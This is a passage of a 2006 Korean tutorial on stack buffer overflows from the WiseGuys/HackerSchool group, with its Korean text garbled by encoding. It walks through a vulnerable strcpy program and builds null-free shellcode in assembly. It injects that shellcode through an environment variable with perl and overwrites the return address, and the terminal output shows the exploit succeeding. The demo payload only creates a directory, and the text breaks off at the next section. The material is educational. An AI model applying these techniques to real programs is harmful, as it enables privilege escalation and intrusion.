¦®¦³¦¬¦³¦³¦¬¦¬¦³¦¬¦¬¦¬¦³¦¬¦¬¦¬¦³¦¬¦¬¦¬¦³¦¬¦³¦¬¦³¦¬¦³¦¬¦³¦¬¦¬¦¬¦¯ ¦­¦­ ¦­¦­ ¦­ ¦¬¦´ ¦¬¦´ ¦­ ¦­ ¦­ ¦­ ¦­ ¦¬¦¶¦¯ ¦­ ¦­ ¦­ ¦­ ¦­ ¦®¦¬¦´ ¦­ ¦­ ¦­¦­ ¦­ ¦­ ¦²¦¬ ¦­ ¦¬¦´ ¦­ ¦²¦¯ ¦®¦¶¦¬ ¦­¦­ ¦²¦¬¦¬¦¬¦µ¦¬¦¬¦µ¦¬¦¬¦¬¦µ¦¬¦¬¦¬¦µ¦¬¦¬¦¬¦µ¦¬¦¬¦¬¦°¦±¦¬¦°¦±¦¬¦¬¦¬¦´¦­ ¦­Since 2002. W / I / S / E / G / U / Y / S in HackerSchool ¦­¦­ ¦­http://wiseguys.hackerschool.org wiseguys@hackerschool.org ¦­¦­ ¦±¦³¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦°¦­ ¦±¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬Designed by FiaDot¦¬¦° ¦¬[Document Infomation] ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ :: Title :: ¹öÆÛ ¿À¹öÇÃ·Î¿ì ·¹ÆÛ·±½º (memory fake one) :: Date :: 2006. 2. 28 :: Author :: sjh21a :: Contact:: E-Mail(sjh21a@gmail.com) Homepage(http://work.hackerschool.org/~sjh21a) ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¬[Notice]¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ º» ¹®¼­ÀÇ ÀúÀÛ±ÇÀº ÀúÀÚ ¹× WiseGuys¿¡°Ô ÀÖ½À´Ï´Ù. »ó¾÷ÀûÀÎ ¿ëµµ¿Ü¿¡ ¾î¶°ÇÑ ¿ëµµ(º¹»ç,Àοë,¼öÁ¤,¹èÆ÷)·Îµµ »ç¿ëÇÒ¼ö ÀÖÀ¸¸ç WiseguysÀÇ µ¿ÀÇ ¾øÀÌ »ó¾÷ÀûÀÎ ¸ñÀûÀ¸·Î »ç¿ëµÊÀ» ±ÝÁöÇÕ´Ï´Ù. º» ¹®¼­·Î ÀÎÇØ ¹ß»ýÇÑ ¾î¶°ÇÑ »ç°Ç¿¡ ´ëÇÑ Ã¥ÀÓµµ ÀúÀÛ±ÇÀÚ¿¡°Ô´Â ¾øÀ½À» ¹àÈü´Ï´Ù. º» ¹®¼­ÀÇ À߸øµÈ ºÎºÐÀ̳ª ÁöÀûÀ̳ª Ãß°¡ÇÏ°í ½ÍÀº ³»¿ëÀº ÀúÀÚ¿¡°Ô ¸ÞÀÏÀ» º¸³»±â ¹Ù¶ø´Ï´Ù. ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¬[Index] ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ 0x00. Àâ´ã 0x01. ±âº»ÀûÀÎ ¿À¹öÇ÷οì 0x02. ½ºÅÃÇÁ·¹ÀÓÆ÷ÀÎÅÍ ¿À¹öÇ÷οì(1byte faking) 0x03. Return To libary (RTL) 0x04. fake_ebp 0x05. jmp esp 0x06. 24byte shellcode 0x07. ¸¶Ä§. ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¬[0x00. Àâ´ã]¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¹öÆÛ ¿À¹öÇÃ·Î¿ì ±â¼ú (bof)´Â ¸¹Àº ¹ßÀüÀ» ÇØ¿Ô½À´Ï´Ù. óÀ½¿£ ´Ü¼øÈ÷ ¸®ÅÏ ¾îµå·¹½º¸¦ µ¤´Â ¹æ¹ý¿¡¼­ ºÎÅÍ ¿©·¯ ¶óÀ̺귯¸®¸¦ È£ÃâÇÏ´Â Return To libary(RTL). RTL ±â¼ú¿¡ ±âÃÊ°¡ µÈ Omega (OMG) ÀÌ ¹®¼­´Â ¿À¹öÇÃ·Î¿ì ±â¼úÀ» ÃÑ Á¤¸®ÇÏ´Â ´Ü°è¿¡¼­ ±×¸®°í ³ì½½¾ú´ø ¸Ó¸®¿¡ ³³À» ¶§³»´Â ¸ñÀûÀ¸·Î Á¦ÀÛÇÏ°í ÀÖ½À´Ï´Ù. ¹®¼­¿¡¼­ ¼öÁ¤ÇÒ ºÎºÐÀ̳ª Ʋ¸° ºÎºÐÀº ¾ðÁ¦µçÁö ¾Ë·ÁÁÖ±æ ¹Ù¶ø´Ï´Ù. ¾ðÁ¦µçÁö ȯ¿µÀÌ¿¡¿ä~. ±×·³ ÀÌÁ¦ ±âº»ÀûÀÎ bof ºÎÅÍ ¿©·¯°¡Áö¸¦ »ðÁú ÇØ º¸µµ·Ï ÇÏ°Ú½À´Ï´Ù. Áß°£ Áß°£ »ðÁú¿¡ ÇÊ¿äÇϰųª ¾Ë¾ÆµÎ¸é ÁÁÀº Á¤º¸¸¦ tip À¸·Î½á Ç¥½ÃÇÏ°Ú½À´Ï´Ù. ±×¸®°í ±ÍÂúÀ¸´Ï ÀÌÁ¦ Á¸ÄªÀº »ý·« ÇÏ°Ú½À´Ï´Ù ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¬[0x01.±âº»ÀûÀÎ ¿À¹öÇ÷οì]¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ Á¦ÀÏ Ã³À½Àº, °£´ÜÇÏ°Ô ret ¿µ¿ªÀ» µ¤¾î¼­ ¿ì¸®°¡ ¿øÇÏ´Â Äڵ带 ½ÇÇàÇÏ°Ô ÇÏ´Â °ø°Ý ¹æ¹ýÀÌ´Ù. Å×½ºÆ®ÇÒ °ø°Ý ÇÁ·Î±×·¥ÀÇ ¼Ò½º´Â //vul.c// int main(int argc, char *argv[]) { char buf[12]; strcpy(buf,argv[1]); } //end// ÀÌ ÇÁ·Î±×·¥Àº ¹®Á¦Á¡À» °¡Áö°í ÀÖ´Ù. strcpy ÇÔ¼ö°¡ bufÀÇ ±æÀ̸¦ È®ÀÎÇÏÁö ¾Ê°í ¹è¿­ bufÀÇ ±æÀ̸¦ ³Ñ¾î¼­µµ ÀÔ·ÂÀ» ¹Þ´Â´Ù. ÀÌ°ÍÀÌ bof ÀÇ ±âº» ¿ø¸®´Ù. vul ÇÁ·Î±×·¥ÀÌ ½ÇÇà µÉ ¶§ÀÇ ¸Þ¸ð¸®¸¦ ´ëÃæ ÁüÀÛ ±×·Á º¸ÀÚ¸é [buf] [sfp] [ret] [argc] [argv] 12byte 4byte 4byte 4byte 4byte sfp ´Â stack frame pointer ¶ó°í Çؼ­ ´ÙÀ½ ¼½¼Ç¿¡¼­ ÀÚ¼¼ÇÏ°Ô ´Ù·ç°Ú´Ù. * gcc 2.96 À̻󿡼± dummy °¡ µé¾î°£´Ù. ´ÙÀ½ ¼½¼Ç¿¡¼­ ±×¸²À» ±×·Á¼­ ÀÚ¼¼È÷ ¼³¸íÇϵµ·Ï ÇÏ°Ú´Ù. * µ¤¾î ¾º¿ö¾ß ÇÒ ºÎºÐÀº ret ºÎºÐÀÌ´Ù. ÀÌ ¿µ¿ªÀº ÇÁ·Î±×·¥ Á¾·á ÈÄ ½ÇÇàµÉ ÁÖ¼Ò¸¦ °¡¸£Å°°í ÀÖ´Ù. ¸ñÀûÀ» ÀÌ·ç±â À§Çؼ± ret ¸¦ ¿ì¸®°¡ ¿øÇÏ´Â Äڵ尡 ÀÖ´Â °÷ÀÇ ÁÖ¼Ò·Î ¹Ù²ãÁÖ¾î¾ß ÇÑ´Ù. (ÀϹÝÀûÀ¸·Î ȯ°æº¯¼ö¸¦ ¾Ö¿ëÇÑ´Ù.) ¿ì¸®°¡ ¿øÇÏ´Â Äڵ带 ¿Ã·Á³õÀ» Àå¼Ò´Â ȯ°æº¯¼öÀϼöµµ ÀÖ°í, ÇÁ·Î±×·¥ÀÇ ÀÎÀÚ·Î ³Ö¾î ÁÙ ¼öµµ ÀÖ°í, ½ÉÁö¾î µð·ºÅ丮 À̸§¿¡µµ °¡´ÉÇÏ´Ù (¾ö¹ÐÈ÷ µûÁö¸é µð·ºÅ丮 À̸§Àº ½ºÅÃÀΰ¡?) ¿©±â¼± ¾ÆÁ÷ ±âÃÊ ºÎºÐÀ̹ǷΠȯ°æº¯¼ö¿¡ ¿ì¸®°¡ ¿øÇÏ´Â Äڵ带 ¿Ã·Á³õ°í ±× ÁÖ¼Ò·Î ret ¸¦ º¯°æÇØ º¼ °Í ÀÌ´Ù. (¾Æ½¬¿ö ÇÏÁö ¸¶¶ó! ³ªµµ ´Ù½Ã °øºÎÇغ¸´Â°â ¸ðµç ¹æ¹ýÀ» µ¿¿ø¿¡¼­ »ðÁúÀ» ÇÒ °ÍÀÌ°í, ¼½¼ÇÀ» ´Ã¸®¸é¼­ ±× ¹æ¹ýµéÀ» ¸ðÁ¶¸® ÀûÀ» °Í ÀÌ´Ù.) "¿ì¸®°¡ ¿øÇÏ´Â ÄÚµå" ¶ó°í Àû¾ú´Ù. ¿øÇÏ´Â ÄÚµå? ÄÚµå¶õ ¹«¾ùÀΰ¡, ÇÁ·Î±×·¥À» ÀÌ·ç´Â ±â°è¾î ¸í·ÉÀÌ´Ù. C ¹®¹ýÀ̳ª BASIC ¹®¹ýÀº »ç¿ëÀÚ°¡ ¾Ë¾Æº¸±â ½±°Ô ¿µ¾î·Î µÇ¾îÀÖ´Ù. ½ÉÁö¾î assembly ·Î °£´ÜÇÑ ¿µ¾î´Ù. ±â°è¾îÄÚµå´Â ÇÁ·Î±×·¥ÀÌ ½ÇÁ¦·Î ó¸® ÇÒ ¼ö ÀÖ´Â 2Áø¼ö ¼ýÀÚÀÇ ¸ðÀ½ÀÌ´Ù. 2Áø¼ö. ex)101011 ÄÄÇ»ÅÍ´Â »ç¿ëÀÚ¿¡°Ô Á» ´õ Ä£¼÷ÇÑ ÀÎÅÍÆäÀ̽ºÀÎ 16Áø¼ö¸¦ Áö¿øÇØ ÁØ´Ù ;) (??) ±×·¸´Ù. ¿ì¸®°¡ ¿øÇÏ´Â ÄÚµå´Â 2Áø¼öµµ, assembly Äڵ嵵 ¾Æ´Ñ 16Áø¼öÀÇ ¹­À½ÀÌ´Ù. ÀϹÝÀûÀÎ overflow ¹®¼­¿¡¼± ½©À» ½ÇÇà ½ÃÅ°´Â Äڵ带 ¸¸µé¾î¼­ ȯ°æº¯¼ö¿¡ ¿Ã¸®°ÚÁö¸¸, ¿©±â¼± °£´ÜÈ÷ mkdir ÄÝÀ» È£Ãâ Çؼ­ µð·ºÅ丮¸¦ ¸¸µé¾î º¼ °Í ÀÌ´Ù. ÀÏ´Ü ±â°è¾î ÄÚµå(16Áø¼ö ÄÚµå) ¸¦ ¸¸µé·Á¸é ¸ðü°¡ µÇ´Â C¾ð¾î ÇÁ·Î±×·¥À» ÀÛ¼ºÇØ¾ß ÇÑ´Ù. //mk.c// int main() { mkdir("test",0777); } //end// [sjh21a@work overflow]$ ./mk [sjh21a@work overflow]$ ls -al | grep ^d drwxrwxr-x 3 sjh21a sjh21a 4096 2¿ù 2 19:38 . drwxr-xr-x 703 sjh21a sjh21a 753664 2¿ù 2 19:38 .. drwxrwxr-x 2 sjh21a sjh21a 4096 2¿ù 2 19:38 test [sjh21a@work overflow]$ test ¶õ µð·ºÅ丮¸¦ »ý¼º ÇÑ °ÍÀ» º¼ ¼ö ÀÖ´Ù. ±×·³ ÀÌÁ¦ mkdirÀÇ Äڵ带 ÃßÃâÇØ º¸µµ·Ï ÇÏÀÚ. [sjh21a@work overflow]$ gdb -q mk (gdb) disass main Dump of assembler code for function main: 0x08048328 : push %ebp 0x08048329 : mov %esp,%ebp 0x0804832b : sub $0x8,%esp 0x0804832e : and $0xfffffff0,%esp 0x08048331 : mov $0x0,%eax 0x08048336 : sub %eax,%esp 0x08048338 : sub $0x8,%esp 0x0804833b : push $0x1ff 0x08048340 : push $0x80483fc 0x08048345 : call 0x8048258 0x0804834a : add $0x10,%esp 0x0804834d : leave 0x0804834e : ret 0x0804834f : nop End of assembler dump. (gdb) mk ÇÁ·Î±×·¥À» gdb ·Î ¿­¾îº¸¾Ò´Ù. main+24ÁÙÀ» º¸¸é mkdir È£ÃâÀ» ÇÑ´Ù´Â °ÍÀ» º¼ ¼ö ÀÖ´Ù. °Å²Ù·Î ¿Ã¶ó°¡ º¸ÀÚ. *stackÀº °Å²Ù·Î ½×ÀδÙ.* main+24À» º¸¸é ½ºÅÿ¡ 0x80483fcÀ» push Çß´Ù. (½ºÅÿ¡ Áý¾î ³Ö¾ú´Ù.) (gdb) x/s 0x80483fc 0x80483fc <_IO_stdin_used+4>: "test" (gdb) main+19 ¸¦ º¸¸é 0x1ff ¸¦ ³Ö´Â´Ù. ÀÌ°ÍÀº 8Áø¼ö·Î 777ÀÌ´Ù. mkdir ¿¡¼­ ÇÊ¿äÇÑ °ªÀ» ½ºÅÿ¡ ³ÖÀº ´ÙÀ½¿¡ ÇÔ¼ö¸¦ È£Ãâ Çß´Ù. ÀÌÁ¦ °£´ÜÇÑ assembly ÇÁ·Î±×·¥À¸·Î ÀÌ °úÁ¤À» Á÷Á¢ Çغ¼ °Í ÀÌ´Ù. ·¹Áö½ºÅÍ¿¡ ´ëÇÑ ¾à°£ÀÇ Áö½ÄÀÌ ÇÊ¿ä ÇÏ´Ù. °ÆÁ¤ ÇÒ ÇÊ¿ä ¾ø´Ù. °£´ÜÇÏ´Ù. ÀÚ ÇÁ·Î±×·¥À» ÀÛ¼ºÇϱâ Àü¿¡ /usr/include/asm/unistd.h ¸¦ ¿­¾îº¸ÀÚ viµç gedit ÁÁ´Ù. ³»¿ë¸¸ È®ÀÎ ÇÒ ¼ö ÀÖÀ¸¸é µÈ´Ù. À¯½ÉÈ÷ ºÁ¾ßÇÒ ºÎºÐÀº #define __NR_mkdir 39 systemcall ¹øÈ£¸¦ ¾Ë·ÁÁÖ´Â ³»¿ëÀÌ´Ù. 39¹øÀÌ mkdir ÄÝÀ̶õ ¶æÀÌ´Ù. ÀÏ´Ü 39¹øÀ̶õ°É ±â¾ïÇÏ°í assembly ÇÁ·Î±×·¥À» Â¥º¸ÀÚ. //mk.s// .globl main main: call start .string "test" start: mov $0x27, %al pop %ebx mov $0x1ff, %cx int $0x80 //end// *Tip call ¸í·É ÈÄ¿¡ ´ÙÀ½ ¸í·É¾î°¡ ret·Î µé¾î°¡°Ô µÈ´Ù. ¿Ö ±×·±°¡ ÇÏ´Ï call ¸í·É¿¡ ÀÇÇØ È£ÃâµÈ ÇÔ¼ö°¡ È£Ãâ µÈ µÚ¿¡ µ¹¾Æ°¥ ÁÖ¼Ò¸¦ ¼³Á¤ÇØ¾ß Çϴµ¥ ±×°÷ÀÌ ¹Ù·Î call ¸í·ÉÀÇ ´ÙÀ½ ÁÙÀÌ´Ù. ÇÏÁö¸¸ ¿©±â¼± fake ·Î »ç¿ë Çß´Ù. Áï call ¸í·É¾î ´ÙÀ½¿¡ .string À¸·Î ¹®ÀÚ¿­À» ³Ö¾ú±â ¶§¹®¿¡ ½ºÅÿ¡ ret ·Î ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò°¡ µé¾î °£ °ÍÀÌ´Ù. ±×¸®°í È£ÃâµÈ ÇÔ¼ö ¾È¿¡¼­ pop ¸í·ÉÀ¸·Î ½ºÅÃÀÇ Á¦ÀÏ À­ ºÎºÐ (¹®ÀÚ¿­ÀÇ ÁÖ¼Ò) ¸¦ ºÒ·¯ ¿Í¼­ »ç¿ë ÇÒ ¼ö ÀÖ´Ù. ¿ª½Ã ÇØÅ·Àº ¼ÓÀÓ¼öÀÇ ¹ÌÇÐÀÌ´Ù. [sjh21a@work overflow]$ ls -al | grep ^d drwxrwxr-x 4 sjh21a sjh21a 4096 2¿ù 1 20:03 . drwxr-xr-x 703 sjh21a sjh21a 753664 2¿ù 1 20:02 .. drwxrwxr-x 2 sjh21a sjh21a 4096 2¿ù 2 19:43 test [sjh21a@work overflow]$ Á¦´ë·Î ½ÇÇà µÇ´Â °É ¾Ë ¼ö ÀÖ´Ù. °£´ÜÇÑ ¼³¸íÀ» ÇÏ°Ú´Ù. al ¿¡ µé¾î°£ 0x27(10Áø¼ö 39)´Â À§¿¡¼­ »ìÆì º¸¾ÒµíÀÌ mkdir ¸¦ °¡¸£Å°´Â systemcall ¹øÈ£´Ù. ±×¸®°í 2¹ø° ebx ¿¡¼± ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò¸¦ °¡Á® ¿Ô´Ù. 3¹ø°´Â 8Áø¼ö 777À» ³Ö¾ú´Ù. cl ·¹Áö½ºÅÍ´Â 1¹ÙÀÌÆ® À̱⠶§¹®¿¡ 2¹ÙÀÌÆ®ÀÎ cx ·¹Áö½ºÅ͸¦ »ç¿ë Çß´Ù. ¾ÆÁ÷ ÀÌÇØ°¡ ¾ÈµÈ´Ù¸é Á¶¿ëÈ÷ °è¼Ó º¸±æ ±ÇÇÑ´Ù. º°·Î Áß¿äÇÑ ³»¿ëÀº ¾Æ´Ï±â ¶§¹®ÀÌ´Ù. ÀÚ, ´ëÃæ ¿©±â±îÁö ÀÌÇظ¦ ÇßÀ» °Í ÀÌ´Ù. ÀÌÁ¦ À§ assembly ÇÁ·Î±×·¥À» ±â°è¾îÄÚµå·Î Ãâ·ÂÇغ¸ÀÚ. ¾î¶»°Ô ÇÒ±î? ¹æ¹ýÀº 2°¡Áö´Ù. objdump ·Î »ìÆì º¸´Â ¹æ¹ý°ú, gdb ·Î »ìÆ캸´Â ¹æ¹ýÀÌ´Ù. °£´ÜÇÏ°Ô objdump ¸¦ ÀÌ¿ëÇؼ­ »ìÆ캸°Ú´Ù. ¾Ë¾Æ¾ßÇÒ ºÎºÐÀº main ÇÔ¼ö¿Í start ÇÔ¼ö´Ù. 080482f4
: 80482f4: e8 05 00 00 00 call 80482fe 80482f9: 74 65 je 8048360 <__libc_csu_fini+0x28> 80482fb: 73 74 jae 8048371 <__do_global_ctors_aux+0x 5> ... 080482fe : 80482fe: b0 27 mov $0x27,%al 8048300: 5b pop %ebx 8048301: 66 b9 ff 01 mov $0x1ff,%cx 8048305: cd 80 int $0x80 ÀÏ´Ü start ÇÁ·Î½ÃÁ®¸¦ º¸¸é ÀÛ¼ºÇß´ø assembly Äڵ尡 ±×´ë·Î º¸¿©Áø´Ù. ÇÏÁö¸¸ main ÇÁ·Î½ÃÁ®¸¦ º¸°Ô µÇ¸é call µÚ¿¡ ÀÌ»óÇÑ ¸í·É¾î°¡ ºÙ°Ô µÇ´Âµ¥, 74 65 73 74 ( t e s t ) ´Ù. ¾ïÁö·Î ¹®ÀÚ¿­À» assembly ·Î Ãâ·ÂÇÏ°Ô µÈ °Í ÀÌ´Ù. (½Å°æ ¾µ ÇÊ¿ä´Â ¾ø´Ù.) ±×·±µ¥, call µÚ¿¡ ³Î¹®ÀÚ°¡ ÀÖ´Â °É º¼ ¼ö ÀÖ´Ù. 80482f4: e8 05 00 00 00 call 80482fe À̺κÐÀε¥, ÀÌ ºÎºÐÀ» NULL ÀÌ ¾Æ´Ñ ¹®ÀÚ·Î ¹Ù²ãÁà¾ß ÇÒ ÇÊ¿ä°¡ ÀÖ´Ù. strcpy ³ª gets µî ¹®ÀÚ¿­À» ÀÔ·Â ¹Þ´Â ÇÔ¼ö´Â ´ëºÎºÐ NULL ¹®ÀÚ¸¦ ÀÔ·ÂÀÇ ³¡À¸·Î ÀνÄÇϱ⠶§¹®¿¡ NULL ÀÌ ¾Æ´Ñ ¹®ÀÚ·Î ¹Ù²ã¾ß ÇÑ´Ù. À̰͵µ ¾à°£ÀÇ ¼ÓÀÓ¼ö¸¦ »ç¿ë ÇÏ´Â °Í Àε¥, ºÒ·ÁÁú ÇÔ¼ö°¡ ºÎ¸£´Â ÇÔ¼ö º¸´Ù ¾Õ¿¡ ÀÖÀ¸¸é °ªÀº ¸¶À̳ʽº°¡ µÉ °Í ÀÌ´Ù. ¹«½¼ ¼Ò¸°Áö Àß ¸ð¸£°ÚÀ¸¸é ¼Ò½º¸¦ ¼öÁ¤ÇÑ mk.s ¸¦ º¸ÀÚ. //mk.s// .globl main main: jmp str start: xor %eax, %eax xor %ebx, %ebx xor %ecx, %ecx mov $0x27, %al pop %ebx mov $0x1ff, %cx int $0x80 mov $0x1, %al xor %ebx, %ebx int $0x80 str: call start .string "test" //end// Á¶±Ý ¼³¸íÀ» ÇÏÀÚ¸é, main ÇÁ·Î½ÃÁ®¿¡¼­ str ·Î Á¡ÇÁ ÇÑ ÈÄ, À§¿¡¼­ ¼³¸íÇÑ call °ü·Ã ret ÀúÀå ¹æ¹ý¿¡ µû¶ó ½ºÅà Á¦ÀÏ À­ ºÎºÐ¿¡ test ¶ó´Â ¹®ÀÚ¿­ ÁÖ¼Ò¸¦ ³Ö°í ´Ù½Ã str º¸´Ù µÚ¿¡ ÀÖ´Â ÇÁ·Î½ÃÁ® start ¸¦ È£Ãâ ÇÏ°Ô µÈ´Ù. µû¶ó¼­ À½¼ö°ªÀ» °¡Áö°Ô µÉ °Í ÀÌ´Ù. ±×¸®°í xor reg, reg ¹®¹ýÀÌ ¿©·¯°³ µé¾î°£ ÀÌÀ¯´Â ·¹Áö½ºÅÍ¿¡ °ªÀÌ µé¾î°¡±â Àü¿¡ ¸ðµÎ 0À¸·Î ÃʱâÈ­ ½ÃÄÑÁá´Ù. Ȥ½Ã³ª »óÀ§ ·¹Áö½ºÅÍ¿¡ ¾²·¹±â µ¥ÀÌÅÍ°¡ ÀÖÀ¸¸é ÇÁ·Î±×·¥ÀÌ Á¤»óÀûÀ¸·Î µ¹¾Æ°¡Áö ¾Ê±â ‹š¹®ÀÌ´Ù. objdump ·Î NULL ¹®ÀÚ°¡ ¾ø¾îÁ³´ÂÁö È®ÀÎ Çغ¸ÀÚ. 080482f4
: 80482f4: eb 15 jmp 804830b 080482f6 : 80482f6: 31 c0 xor %eax,%eax 80482f8: 31 db xor %ebx,%ebx 80482fa: 31 c9 xor %ecx,%ecx 80482fc: b0 27 mov $0x27,%al 80482fe: 5b pop %ebx 80482ff: 66 b9 ff 01 mov $0x1ff,%cx 8048303: cd 80 int $0x80 8048305: b0 01 mov $0x1,%al 8048307: 31 db xor %ebx,%ebx 8048309: cd 80 int $0x80 0804830b : 804830b: e8 e6 ff ff ff call 80482f6 8048310: 74 65 je 8048377 <__libc_csu_fini+0x2f> 8048312: 73 74 jae 8048388 <__do_global_ctors_aux+0x c> ÀÌÁ¦ ÇÁ·Î±×·¥ ¾îµð¿¡µµ ³Î¹®ÀÚ´Â Á¸Àç ÇÏÁö ¾Ê´Â´Ù. ±×·³ ÀÌÁ¦ ±â°è¾îÄڵ带 ÃßÃâÇØ ³»¼­, °£´ÜÇÑ C¾ð¾î ÇÁ·Î±×·¥À¸·Î µ¹·Á º¸µµ·Ï ÇÏÀÚ. //exe.c// char code[]= "\xeb\x15" "\x31\xc0" "\x31\xdb" "\x31\xc9" "\xb0\x27" "\x5b" "\x66\xb9\xff\x01" "\xcd\x80" "\xb0\x01" "\x31\xdb" "\xcd\x80" "\xe8\xe6\xff\xff\xff" "test"; main() { int *ret; ret = (int *)&ret + 2; *ret = (int)code; } //end// [sjh21a@work overflow]$ ls -al | grep ^d drwxrwxr-x 3 sjh21a sjh21a 4096 2¿ù 2 19:55 . drwxr-xr-x 703 sjh21a sjh21a 753664 2¿ù 2 19:54 .. drwxrwxr-x 2 sjh21a sjh21a 4096 2¿ù 2 19:55 test [sjh21a@work overflow]$ ¼º°øÀÌ´Ù. NULL ¹®ÀÚµµ Á¸Àç ÇÏÁö ¾Ê´Â´Ù. ÀÌÁ¦ ÀÌ ±â°è¾îÄڵ带 ȯ°æº¯¼ö¿¡ ¿Ã·Á ³õ°í »ùÇà ÇÁ·Î±×·¥ÀÇ ¸®ÅÏ ¾îµå·¹½º¸¦ ±â°è¾îÄÚµåÀÇ Ã¹ ÁÖ¼Ò·Î ¹Ù²ãº¼ °Í ÀÌ´Ù. »ç¿ëµÉ ÇÁ·Î±×·¥Àº //vul.c// int main(int argc, char *argv[]) { char buf[12]; strcpy(buf,argv[1]); } //end// ÀÌÁ¦ ±â°è¾îÄڵ带 ȯ°æº¯¼ö¿¡ ³Ö¾îº¸ÀÚ. [sjh21a@work overflow]$ export HEL=`perl -e 'print "\xeb\x15\x31\xc0\x31\xdb\x31\xc9\xb0\x27\x5b\x66\xb9\xff\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe6\xff\xff\xfftest"'` [sjh21a@work overflow]$ ȯ°æº¯¼öÀÇ ½ÃÀÛ ÁÖ¼Ò¸¦ ¾Ë¾Æ¾ß Çϴµ¥ gdb ¿Í ÇÁ·Î±×·¥À» ÀÌ¿ë ÇÒ ¼ö ÀÖ´Ù. gdb ¸¦ ÀÌ¿ëÇÏ´Â ¹æ¹ýÀº main ¿¡ break Æ÷ÀÎÅ͸¦ °Ç ÈÄ ½ÇÇà ½ÃŲ ´ÙÀ½¿¡, esp °ªÀ̳ª ebp °ªÀ» ±âÁØÀ¸·Î Çؼ­ ¸Þ¸ð¸®¸¦ ´ýÇÁ ÇØ º¸´Â °ÍÀÌ´Ù. 0xbfffffff ¿¡ °¡±î¿ö Áú ¼ö·Ï ȯ°æº¯¼ö°¡ º¸ÀδÙ. ¿©±â¼± ÇÁ·Î±×·¥À» ÀÌ¿ëÇؼ­ ÃßÃâÇØ º¸ÀÚ. //get.c// #include int main(int argc, char *argv[]) { printf("%p\n",getenv(argv[1])); } //end [sjh21a@work overflow]$ ./get HEL 0xbfffff3a [sjh21a@work overflow]$ ³ª¿Â ÁÖ¼Ò¸¦ °¡Áö°í °ø°ÝÀ» Çغ¸ÀÚ. ¼º°ø ÇÑ´Ù¸é test ¶ó´Â µð·ºÅ丮°¡ »ý¼º µÉ °Í ÀÌ´Ù. [sjh21a@work overflow]$ ./vul `perl -e 'print "\x3a\xff\xff\xbf"x8'` [sjh21a@work overflow]$ ls -al | grep ^d drwxrwxr-x 3 sjh21a sjh21a 4096 2¿ù 2 20:10 . drwxr-xr-x 703 sjh21a sjh21a 753664 2¿ù 2 20:07 .. drwxrwxr-x 2 sjh21a sjh21a 4096 2¿ù 2 20:10 test [sjh21a@work overflow]$ µð·ºÅ丮°¡ »ý¼º µÇ¾ú´Ù. ¸¸¾à ½©À» ½ÇÇà ½ÃÅ°´Â ÄÚµå ¿´´Ù¸é ½©ÀÌ ½ÇÇà µÇ¾úÀ» °Í ÀÌ´Ù. ÀÌ µÞ ºÎºÐ ºÎÅÍ ½©À» ½ÇÇà ½ÃÅ°´Â Äڵ带 »ç¿ë ÇÏ°Ú´Ù. ´ÙÀ½Àº stack frame pointer ¿À¹öÇ÷οì (sfp over) ¿¡ ´ëÇÑ ¼³¸íÀÌ´Ù. ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¬[0x02. ½ºÅà ÇÁ·¹ÀÓÆ÷ÀÎÅÍ ¿À¹öÇ÷οì]¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ sfp overflow ´Â ´ÜÁö 1byte ÀÇ °ø°£ÀÌ ½©À» ¶ç¿ì´Âµ¥ »ç¿ë µÉ ¼ö ÀÖ´Ù´Â °ÍÀ» º¸¿©ÁØ´Ù. ÇÁ·Î±×·¡¹Ö ÇÒ ¶§ »ý±â´Â ¾à°£ÀÇ ½Ç¼ö°¡ ÀÌ°ÍÀ» °¡´ÉÇÏ°Ô ÇØÁØ´Ù. ´ÙÀ½À» º¸ÀÚ. À̹ø éÅÍ ¿¡¼­ exploit ÇÒ Ãë¾à ÇÁ·Î±×·¥ÀÌ´Ù. //vul.c// int main(int 